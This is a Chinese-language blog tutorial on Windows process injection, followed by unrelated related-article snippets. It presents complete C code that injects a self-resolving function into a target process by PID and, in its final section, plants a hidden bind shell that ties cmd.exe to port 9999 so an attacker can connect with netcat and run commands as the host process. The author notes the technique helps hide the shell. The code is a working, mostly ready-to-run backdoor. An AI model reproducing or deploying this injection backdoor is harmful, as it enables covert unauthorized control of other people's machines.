1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,并以对方的权限及身份执行命令,该功能有利于于Shell的隐藏。本章的内容其原理与《运用C语言编写ShellCode代码》中所使用的原理保持一致,通过动态定位到我们所需的网络通信函数并以此来构建一个正向Shell,本章节内容对Metasploit工具生成的Shell原理的理解能够起到促进作用。
读者需要理解,套接字(socket)是计算机网络中一种特殊的文件,是网络通信中的一种技术,用于实现进程之间的通信和网络中数据的传输。在网络通信中,套接字就像一条传送数据的管道,负责数据的传输和接收。而socket(套接字)是在网络通信中最常用的一种通信协议,它定义了一组用于网络通信的API。通过使用socket,程序员可以在不同的计算机之间进行通信。读者可以将两者理解为一个意思。
1.12.1 读入Kernel32模块基址
为了能让读者更清晰的认识功能实现细节,首先笔者先来实现一个简单的读取特定模块内函数的入口地址,并输出该模块地址的功能,需要注意的是,在之前的文章中笔者已经介绍了这种读取技术,当时使用的是汇编版实现,由于需要自定位代码的支持导致汇编语言的实现过于繁琐,其实此类代码在应用层实现仅仅只需要调用GetProcAddress()即可获取到核心参数,其实先细节如下所示;
#include <iostream>
#include <Windows.h>// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle; // 存储句柄char kernelstring[20]; // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle; // 存储句柄 char userstring[20]; // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;int main(int argc,char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);system("pause");return 0;
}
这段代码主要是定义了一个结构体ShellParametros,并初始化了其中的一些参数。该结构体中定义了两个HANDLE类型的变量KernelHandle和UserHandle,分别用于存储kernel32.dll和user32.dll的句柄。同时,也定义了两个字符串数组kernelstring和userstring,用于存储对应的库名。
接下来,定义了两个函数指针类型LOADLIBRARY和GETPROCADDRESS,分别用于后续的动态库加载和函数导出操作。
在main函数中,首先初始化了ShellParametros结构体类型的变量Param。然后,调用LoadLibrary函数加载kernel32.dll库,并通过GetProcAddress函数分别获取LoadLibraryA和GetProcAddress函数的地址,并将它们赋值给Param.KernelLoadLibrary和Param.KernelGetProcAddress函数指针变量。最终打印出获取到的kernel32.dll的基地址,以及等待用户按下任意键退出程序。
该代码拆分来看,首先是入口处的结构体定义部分,这部分定义了一个结构体ShellParametros,其中包含了对于kernel32.dll和user32.dll库的操作的句柄和字符串,以及相关的函数指针类型LOADLIBRARY和GETPROCADDRESS。
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE KernelHandle; // 存储句柄char kernelstring[20]; // 存储字符串 kernel32.dll// 针对User32的操作HANDLE UserHandle; // 存储句柄 char userstring[20]; // 存储字符串 user32.dll// 定义函数指针LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;
}ShellParametros;
而在主函数中,首先声明了一个结构体变量Param,然后调用LoadLibrary函数加载kernel32.dll库,将得到的句柄存储到Param.KernelHandle中。接着通过调用GetProcAddress函数获取LoadLibraryA和GetProcAddress函数的地址,将得到的函数地址分别存储到Param.KernelLoadLibrary和Param.KernelGetProcAddress中。最后通过printf函数打印出获取到的Kernel32.dll的基址。
int main(int argc, char *argv[])
{ShellParametros Param;// 得到加载基地址的工具函数Param.KernelHandle = LoadLibrary("kernel32.dll");Param.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.KernelHandle, "LoadLibraryA");Param.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.KernelHandle, "GetProcAddress");printf("获取到Kernel32.dll = 0x%08X \n", Param.KernelHandle);printf("获取到KernelLoadLibrary = 0x%08X \n", Param.KernelLoadLibrary);printf("获取到GetProcAddress = 0x%08X \n", Param.KernelGetProcAddress);system("pause");return 0;
}
这段代码没有任何难度,相信读者能够理解其实先的核心原理,当读者运行此段代码,则会分别输出Kernel32.dll,LoadLibraryA及GetProcAddress这三个模块函数的基址,输出效果如下图所示;

1.12.2 进程注入MsgBox弹窗
通过进程注入功能将一个具有自定位功能的函数的机器码注入到远程进程中,并运行输出一个弹窗,该功能的输出形式与前几章中的内容很相似,但却有本质的不同,首先前几章内容中我们注入的数据为纯粹的ShellCode代码,此类代码的缺陷在于一旦被生成则在注入时无法动态更改参数,而本章实现的注入技术则是动态填充内存并注入,从实用价值上来说本章中所演示的注入技术将更加通用及灵活。
动态弹窗的注入技术同样需要定义关键函数指针,如下将分别定义三个函数指针,这些API函数的函数指针类型定义:
- LOADLIBRARY:LoadLibrary函数的函数指针类型,用于将动态链接库(DLL)加载到调用进程的地址空间中。
- GETPROCADDRESS:GetProcAddress函数的函数指针类型,用于从DLL中检索导出函数或变量的地址。
- MESSAGEBOX:MessageBox函数的函数指针类型,用于创建、显示和操作消息框。WINAPI调用约定指定了如何传递函数参数和清理堆栈。
这些函数指针类型通常用于动态加载DLL和运行时链接导出函数。通过使用这些函数指针,程序可以在运行时获取函数地址并动态调用它们。
// Kernel32 调用约定定义
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR lpFileName);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE hModule, LPCSTR lpProcName);// User32 中针对MessageBox的调用约定定义
typedef int(WINAPI* MESSAGEBOX)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
接着我们需要定义一个ShellParametros结构体,该结构体的作用是用与传递参数到子线程MyShell(ShellParametros* ptr)中以供其使用,当然读者也可以使用普通变量形式,只是普通变量在参数传递时没有传递结构方便快捷,如下从结构中可看出,我们分别传递kernel32.dll,LoadLibrary,GetProcAddress及MessageBoxA的函数地址,并附带有该函数弹窗User_MsgBox的提示信息;
typedef struct _ShellBase
{// 针对Kernel32的操作HANDLE Kernel32Base;char KernelString[20]; // kernel32.dllLOADLIBRARY Kernel_LoadLibrary;GETPROCADDRESS Kernel_GetProcAddress;// 针对User32的操作HANDLE User32Base;char UserString[20]; // 存储 user32.dll 字符串char User_MsgBox[20]; // 存储 MessageBoxA 字符串// 输出一段话char Text[32];}ShellParametros;
接着就是关于__stdcall MyShell(ShellParametros*);函数的封装,这是一个用于远程线程的函数定义,函数名为MyShell,采用__stdcall调用约定。该函数的参数是一个名为ptr的指向ShellParametros结构体的指针。
函数的实现包括以下步骤:
- 1.通过调用
ptr->Kernel_LoadLibrary函数动态加载指定的Kernel32和User32库,并将它们的句柄保存在ptr->Kernel32Base和ptr->User32Base变量中。 - 1.使用
ptr->Kernel_GetProcAddress函数获取User32库中名为ptr->User_MsgBox的导出函数的地址,并将其转换为MESSAGEBOX函数指针类型的变量msgbox。 - 1.调用
msgbox函数,显示ptr->Text变量中保存的文本内容。
该函数的作用是在远程线程中动态加载Kernel32和User32库,并调用User32库中的MessageBox函数显示指定的文本内容。
void __stdcall MyShell(ShellParametros*);// 定义远程线程函数
void __stdcall MyShell(ShellParametros* ptr)
{ptr->Kernel32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->KernelString);ptr->User32Base = (HANDLE)(*ptr->Kernel_LoadLibrary)(ptr->UserString);// printf("动态获取到Kernel32基地址 = %x \n", ptr->Kernel32Base);// printf("动态获取到User32基地址 = %x \n", ptr->User32Base);// MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->UserHandle, "MessageBoxA");MESSAGEBOX msgbox = (MESSAGEBOX)(*ptr->Kernel_GetProcAddress)((HINSTANCE)ptr->User32Base, ptr->User_MsgBox);//printf("MessageBox 基地址 = %x \n", msgbox);msgbox(0, ptr->Text, 0, 0);
}
最后我们来看一下在主函数中我们需要做什么,在主函数中通过GetProcAddress函数分别得到我们所需要的函数入口地址,并通过调用strcpy函数分别将所需参数写出到ShellParametros结构体中保存,当一切准备就绪再通过OpenProcess打开远程进程,并设置一段读写执行内存空间,并调用WriteProcessMemory将MyShell函数写出到该内存中保存,最后调用CreateRemoteThread开辟远程线程,执行弹窗功能;
这段代码主要包括以下步骤:
- 1.定义了一个
ShellParametros类型的变量Param和一个指向ShellParametros结构体的指针remote,并声明了一个HANDLE类型的变量hProcess和一个void*类型的变量p。 - 2.使用
LoadLibrary和GetProcAddress函数获取Kernel32库中的LoadLibrary和GetProcAddress函数的地址,并将其保存到Param结构体的相应字段中。 - 3.分别将
kernel32.dll和user32.dll的文件名字符串保存到Param结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到Param结构体的相应字段中。 - 4.使用
OpenProcess函数打开指定PID的进程,并分别使用VirtualAllocEx函数在该进程中分配内存空间,分别保存注入代码和Param结构体的数据。 - 5.使用
WriteProcessMemory函数将注入代码和Param结构体的数据写入到指定进程中的内存空间中。 - 6.使用
CreateRemoteThread函数创建一个远程线程,将注入代码的地址和Param结构体的地址传递给远程线程,并在指定进程中执行注入的代码。
代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell 函数,该函数将动态加载 Kernel32 和 User32 库,并调用 User32 库中的 MessageBox 函数显示指定的文本内容。
int main(int argc, char* argv[])
{ShellParametros Param, *remote = NULL;HANDLE hProcess;void* p = NULL;// 进程PIDint ProcessID = 4016;// 得到加载基地址的工具函数Param.Kernel32Base = LoadLibrary("kernel32.dll");Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");// printf("获取到Kernel32.dll = %x", Param.KernelHandle);// 分别获取Kernel32与User32的对应字符串strcpy(Param.KernelString, "kernel32.dll");strcpy(Param.UserString, "user32.dll");strcpy(Param.User_MsgBox, "MessageBoxA");strcpy(Param.Text, "hello lyshark");// 根据PID注入代码到指定进程中hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// MyShell(&Param);return 0;
}
至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成ShellCode的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell;
DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码。
ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。
这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性。

修改int ProcessID并改为被注入进程的PID=4016,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了;

1.12.3 进程注入MyShell正向Shell
经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向ShellShell,在此案例中读者需要理解一种绑定技术,在默认情况下,Windows系统中的每一个进程都存在标准输入、输出和错误流的匿名管道,而cmd.exe进程同样存在这三种管道,要实现正向Shell,一般而言攻击者会创建一个监听指定端口的网络套接字,并将其绑定到一个命令行解释器(如 cmd.exe)的标准输入和输出流上,这样攻击者即可通过这个管道来使用远程的CMD命令行,并以此达到控制对方的目的。
将CMD绑定到套接字上通常涉及以下步骤:
- 创建一个监听套接字,以便在客户端连接之前等待连接。监听套接字可以是TCP或UDP类型。
- 调用bind()函数将监听套接字绑定到本地IP地址和端口上。这是让客户端知道要连接哪个地址和端口的关键步骤。
- 调用listen()函数将监听套接字转换为被动套接字,并设置等待连接的队列的最大长度。
- 调用accept()函数来接受客户端连接,这将创建一个新的套接字,它与客户端套接字相关联。
- 调用CreateProcess()函数启动cmd.exe进程,并将标准输入、输出和错误流重定向到新创建的套接字上。
首先我们需要定义所需要调用的函数指针,下方代码定义了一组函数指针,每个函数指针都指向一个API函数,包括 LoadLibrary、GetProcAddress、Bind、Accept、Listen、WSAStartup、WSASocket、WSAConnect 和 CreateProcess。这些函数与动态链接库、套接字通信、网络编程、创建进程等有关。
#include <iostream>
#include <winsock2.h>#pragma comment(lib, "ws2_32.lib")// 定义各种指针变量
typedef HMODULE(WINAPI* LOADLIBRARY)(LPCTSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS) (HMODULE, LPCSTR);typedef int (WINAPI* BIND) (SOCKET, const struct sockaddr*, int);
typedef SOCKET(WINAPI* ACCEPT) (SOCKET, struct sockaddr*, int*);
typedef int (WINAPI* LISTEN) (SOCKET, int);
typedef int (WINAPI* WSASTARTUP) (WORD, LPWSADATA);
typedef SOCKET(WINAPI* WSASOCKET) (int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
typedef int (WINAPI* WSACONNECT) (SOCKET, const struct sockaddr*, int, LPWSABUF, LPWSABUF, LPQOS, LPQOS);
typedef BOOL(WINAPI* CREATEPROCESS) (LPCTSTR, LPTSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL,DWORD, LPVOID, LPCTSTR, LPSTARTUPINFO, LPPROCESS_INFORMATION);
接着我们需要在原始ShellParametros中进行扩充,根据所需函数的多少来定义承载该函数内存地址的指针类型;
typedef struct
{HANDLE KernelHandle;char kernelstring[20]; // 存储kernel32.dll字符串char CreateProcessstring[20]; // 存放函数名字字符串LOADLIBRARY KernelLoadLibrary;GETPROCADDRESS KernelGetProcAddress;CREATEPROCESS KernelCreateProcess;HANDLE WSAHandle;char wsastring[20];char wsastartupstring[20];char WSASocketString[20];char WSAConnectstring[20];char bindstring[20];char acceptstring[10];char listenstring[10];WSASTARTUP ShellWsaStartup;ACCEPT ShellAccept;BIND ShellBind;WSACONNECT ShellWsaConnect;WSASOCKET ShellWSASocket;LISTEN ShellListen;unsigned short port;char cmd[255];
} PARAMETROS;
接着再来看核心MyShellShell实现函数,如下代码实现了一个远程Shell,通过动态链接库实现对API函数的调用。
首先,通过调用 LoadLibrary 和 GetProcAddress 函数,获取到 ws2.dll 和 kernel32.dll 中的函数地址,分别是 WSAStartup、WSASocket、WsaConnect、Bind、Accept、Listen、CreateProcess。
然后,通过调用 WSAStartup 函数初始化套接字编程,创建一个套接字,并绑定在一个端口。通过 Listen 函数监听连接请求,并使用 Accept 函数接收连接请求。
当有连接请求时,使用 CreateProcess 函数创建一个进程,并将标准输入、输出和错误重定向到网络套接字,实现远程 Shell。
// 调用的远程Shell代码
void __stdcall MyShell(PARAMETROS* ptr)
{STARTUPINFO si;struct sockaddr_in sa;PROCESS_INFORMATION pi;int s, n;WSADATA HWSAdata;// 通过GetProcAddress获取到ws2.dll中的所有函数地址ptr->WSAHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->wsastring);ptr->ShellWsaStartup = (WSASTARTUP)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->wsastartupstring);ptr->ShellWSASocket = (WSASOCKET)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSASocketString);ptr->ShellWsaConnect = (WSACONNECT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->WSAConnectstring);ptr->ShellBind = (BIND)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->bindstring);ptr->ShellAccept = (ACCEPT)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->acceptstring);ptr->ShellListen = (LISTEN)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->WSAHandle, ptr->listenstring);// 通过GetProcAddress获取到kernel32.dll中的所有函数地址ptr->KernelHandle = (HANDLE)(*ptr->KernelLoadLibrary)(ptr->kernelstring);ptr->KernelCreateProcess = (CREATEPROCESS)(*ptr->KernelGetProcAddress)((HINSTANCE)ptr->KernelHandle, ptr->CreateProcessstring);ptr->ShellWsaStartup(0x101, &HWSAdata);s = ptr->ShellWSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);sa.sin_family = AF_INET;sa.sin_port = ptr->port;sa.sin_addr.s_addr = 0;ptr->ShellBind(s, (struct sockaddr*)&sa, 16);ptr->ShellListen(s, 1);while (1){n = ptr->ShellAccept(s, (struct sockaddr*)&sa, NULL);si.cb = sizeof(si);si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW + STARTF_USESTDHANDLES; // 0x101si.hStdInput = si.hStdOutput = si.hStdError = (void*)n;si.lpDesktop = si.lpTitle = (char*)0x0000;si.lpReserved2 = NULL;ptr->KernelCreateProcess(NULL, ptr->cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&si, &pi);}
}
最后再来看一下实现调用的主函数,代码中通过argv[1]也就是命令行参数传递,并绑定到(unsigned short)9999端口上,通过GetProcAddress依次获取所需函数内存地址并使用strcpy初始化结构体PARAMETROS,最后直接调用CreateRemoteThread实现线程Shell反弹。
- 通过 LoadLibrary 和 GetProcAddress 函数获取到 kernel32.dll 中 LoadLibrary 和 GetProcAddress 函数的地址。然后,通过 strcpy 函数初始化一个 PARAMETROS 结构体,并填充该结构体的各个字段。
- 通过 OpenProcess 函数打开目标进程,使用 VirtualAllocEx 函数在目标进程中分配内存,并使用 WriteProcessMemory 函数将代码和参数复制到目标进程的内存中。
- 通过 CreateRemoteThread 函数在目标进程中创建一个线程,并将线程的入口点设置为 MyShell 函数,这样就实现了进程注入。
int main(int argc, char* argv[])
{void* p = NULL;HANDLE hProcess;PARAMETROS parametros, * remote;if (argc == 2){int PID = atoi(argv[1]);memset((void*)¶metros, 0, sizeof(PARAMETROS));strncpy(parametros.cmd, "cmd", sizeof("cmd") - 1);parametros.port = htons((unsigned short)9999);printf("[-] PID = %d \n", PID);// 获取到动态链接库加载函数地址parametros.KernelHandle = LoadLibrary("kernel32.dll");parametros.KernelLoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)parametros.KernelHandle, "LoadLibraryA");parametros.KernelGetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)parametros.KernelHandle, "GetProcAddress");// 拷贝 winsock 字符串strcpy(parametros.wsastring, "ws2_32.dll");strcpy(parametros.wsastartupstring, "WSAStartup");strcpy(parametros.WSASocketString, "WSASocketW");strcpy(parametros.WSAConnectstring, "WSAConnect");strcpy(parametros.bindstring, "bind");strcpy(parametros.acceptstring, "accept");strcpy(parametros.listenstring, "listen");// 拷贝 kernel32 字符串strcpy(parametros.kernelstring, "kernel32.dll");strcpy(parametros.CreateProcessstring, "CreateProcessA");// 开始注入代码hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);remote = (PARAMETROS*)VirtualAllocEx(hProcess, 0, sizeof(parametros), MEM_COMMIT, PAGE_READWRITE);WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);WriteProcessMemory(hProcess, remote, ¶metros, sizeof(PARAMETROS), 0);CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);// CreateRemoteThread(hProcess, 0, 0, (DWORD(WINAPI *)(void *)) p, remote, 0, 0);printf("[+] 已注入进程 %d \n", PID);}return 0;
}
编译上述代码片段,并找到对应进程PID,通过参数MyShell.exe 8624传入被注入进程PID号,当注入成功后,会提示进程请求联网,此时一个不具备网络通信功能的进程,因我们注入了ShllShell,则自然就具备了网络通信的能力,如下图所示;

此时读者可下载32位版本的NC,通过使用执行命令nc [远程IP地址] [端口]连接到进程内部;
小提示:Netcat是一款网络工具,也称为nc工具,可以在不同的计算机之间进行数据传输。它可以在命令行中使用,并支持TCP/IP和UDP协议,其被誉为黑客界的瑞士军刀,是每个安全从业者不可或缺的利器。
官方网站:https://eternallybored.org/misc/netcat/

当连接到进程内部则会反弹一个CMDShell此时在该CMD下的所有操作都会被标记为宿主进程的操作。
本文作者: 王瑞
本文链接: https://www.lyshark.com/post/3e10758e.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
相关文章:
1.12 进程注入ShellCode套接字
在笔者前几篇文章中我们一直在探讨如何利用Metasploit这个渗透工具生成ShellCode以及如何将ShellCode注入到特定进程内,本章我们将自己实现一个正向ShellCodeShell,当进程被注入后,则我们可以通过利用NC等工具连接到被注入进程内,…...
MySQL 日志系统
重要日志模块 日志文件bin logredo log**关于循环写入和擦除的checkpoint 规则**redo log 怎么刷入磁盘的 binlog 和 redo log 有什么区别?undo log 日志文件 错误日志(error log): 错误日志文件对 MySQL 的启动、运行、关闭过程进…...
LeetCode刷题---Two Sum(一)
文章目录 🍀题目🍀解法一🍀解法二🍀哈希表 🍀题目 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每…...
算法通关村第十七关——插入区间
LeetCode435,给定一个区间的集合,找到需要移除区间的最小数量,使剩余区间互不重叠。 示例1: 输入:interva1s[[1,3],[6,9]],newInterva1[2,5] 输出:[[1,5],[6,9]] 解释:新区间[2,5]与[1,3]重…...
Jenkins java8安装版本安装
一、首先准备Jenkins、Jdk8、Tomcat9安装包 根据Jenkins官网介绍,Jenkins支持Java8的版本如下: 我们选择2.164版本进行安装,根据版本号支持输入下载地址:https://archives.jenkins.io/war/2.164/jenkins.war,进行下载…...
线上问诊:数仓开发(二)
系列文章目录 线上问诊:业务数据采集 线上问诊:数仓数据同步 线上问诊:数仓开发(一) 线上问诊:数仓开发(二) 文章目录 系列文章目录前言一、DWS1.最近1日汇总表1.交易域医院患者性别年龄段粒度问诊最近1日汇总表2.交易域医院患者…...
Ansible自动化运维工具(三)
目录 Ansible 的脚本 --- playbook 剧本 编辑2.vars模块实战实例 3.指定远程主机sudo切换用户 4.when模块实战实例 5.with_items迭代模块实战实例 6.Templates 模块实战实例 (1)先准备一个以 .j2 为后缀的 template 模板文件,设置引用…...
ChatGPT在创新和创业中的应用如何?
ChatGPT是一种基于大规模预训练的语言模型,它在创新和创业中有着广泛的应用。作为一种具备自然语言处理能力的模型,ChatGPT可以与用户进行对话,并提供相关的信息、建议和创意。以下是ChatGPT在创新和创业中的一些应用: 创意生成和…...
Log4j2 配置日志记录发送到 kafka 中
前言 log4j2 在 2.11.0 之后的版本,已经内置了 KafkaAppender 支持可以将打印的日志直接发送到 kafka 中,在这之前如果想要集中收集应用的日志,就需要自定义一个 Layout 来实现,相对来说还是比较麻烦的。 官网文档:L…...
Linux用户与组管理(03)(八)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、组管理 1、概述 2、用户信息查看 总结 前言 今天是学习用户与组管理的最后一节课,这节课主要是组管理的内容,希望能一起学习ÿ…...
Java自定义异常
Java标准库定义的常用异常包括: 当我们在代码中需要抛出异常时,尽量使用JDK已定义的异常类型。例如,参数检查不合法,应该抛出IllegalArgumentException: static void process1(int age) {if (age < 0) {throw new…...
vscode远程调试php
使用vscode远程调试php的方法 1.安装remote ssh插件 2.连接服务器 可以点击左下角的绿色按钮,或者ctrlshiftp打开命令框输入remote ssh应该也有。 3.在服务器端vscode安装php debug插件 4.安装xdebug xdebug是用来调试php的软件,原本和vscode没什么关…...
C语言:截断+整型提升练习
详情关于整型提升与截断见文章:《C语言:整型提升》 一、代码一 int main() { char a -1; signed char b -1; unsigned char c -1; printf("%d %d %d", a, b, c); return 0; } 求输出结果 解析如下代码: int mai…...
Kubernetes技术--k8s核心技术kubectl命令行工具
(1).概述 kubectl是Kubernetes集群的命令行工具,通过 kubectl 能够对集群本身进行管理,并能够在集群上进行容器化应用的安装部署。 (2).语法 Kubectl [command] [type] [name] [flags] 语法参数说明: command: 指定要对资源执行的操作,例如 create、get、describe 和 delet…...
Element浅尝辄止9:Popover 弹出框组件
Popover 的属性与 Tooltip 很类似,它们都是基于Vue-popper开发的,因此有重复属性 1.如何使用? /*trigger属性用于设置何时触发 Popover,支持四种触发方式: hover,click,focus 和 manual。 对于…...
程序开发:构建功能强大的应用的艺术
程序开发是在今天的数字化时代中扮演重要角色的一项技术。通过编写代码,开发人员能创造出无数不同的应用,从简单的计算器到复杂的社交平台。电子商务应用、在线教育平台、医疗记录系统等,都重视程序开发的重要性,通过这其中的交互…...
(七)k8s实战-高级调度
一、CronJob 定时任务 1、cron 表达式 # ┌───────────── 分钟 (0 - 59) # │ ┌───────────── 小时 (0 - 23) # │ │ ┌───────────── 月的某天 (1 - 31) # │ │ │ ┌───────────── 月份 (1 - 12) # │ │ │ │ ┌…...
HTTP/1.1协议中的八种请求
2023年8月29日,周二晚上 目录 概述八种请求GET请求POST请求PUT请求PATCH请求DELETE请求HEAD请求OPTIONS请求TRACE请求 概述八种请求 HTTP/1.1协议中定义了8种常用的请求方法,分别是:1. GET 用途:请求指定的页面信息,并返回实体主体。例子:获取一个网页、图片等静态…...
面试系列 - JVM内存模型和调优详解
目录 一、JVM内存模型 1. 程序计数器(Program Counter Register): 2.Java虚拟机栈(Java Virtual Machine Stacks): 3. 本地方法栈(Native Method Stack): 5. 方法区…...
JavaScript -【第一周】
文章来源于网上收集和自己原创,若侵害到您的权利,请您及时联系并删除~~~ JavaScript 介绍 变量、常量、数据类型、运算符等基础概念 能够实现数据类型的转换,结合四则运算体会如何编程。 体会现实世界中的事物与计算机的关系理解什么是数据并…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
Docker 运行 Kafka 带 SASL 认证教程
Docker 运行 Kafka 带 SASL 认证教程 Docker 运行 Kafka 带 SASL 认证教程一、说明二、环境准备三、编写 Docker Compose 和 jaas文件docker-compose.yml代码说明:server_jaas.conf 四、启动服务五、验证服务六、连接kafka服务七、总结 Docker 运行 Kafka 带 SASL 认…...
大语言模型如何处理长文本?常用文本分割技术详解
为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...
VTK如何让部分单位不可见
最近遇到一个需求,需要让一个vtkDataSet中的部分单元不可见,查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行,是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示,主要是最后一个参数,透明度…...
深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南
🚀 C extern 关键字深度解析:跨文件编程的终极指南 📅 更新时间:2025年6月5日 🏷️ 标签:C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言🔥一、extern 是什么?&…...
docker 部署发现spring.profiles.active 问题
报错: org.springframework.boot.context.config.InvalidConfigDataPropertyException: Property spring.profiles.active imported from location class path resource [application-test.yml] is invalid in a profile specific resource [origin: class path re…...
Golang——7、包与接口详解
包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...
Docker拉取MySQL后数据库连接失败的解决方案
在使用Docker部署MySQL时,拉取并启动容器后,有时可能会遇到数据库连接失败的问题。这种问题可能由多种原因导致,包括配置错误、网络设置问题、权限问题等。本文将分析可能的原因,并提供解决方案。 一、确认MySQL容器的运行状态 …...
Qt的学习(二)
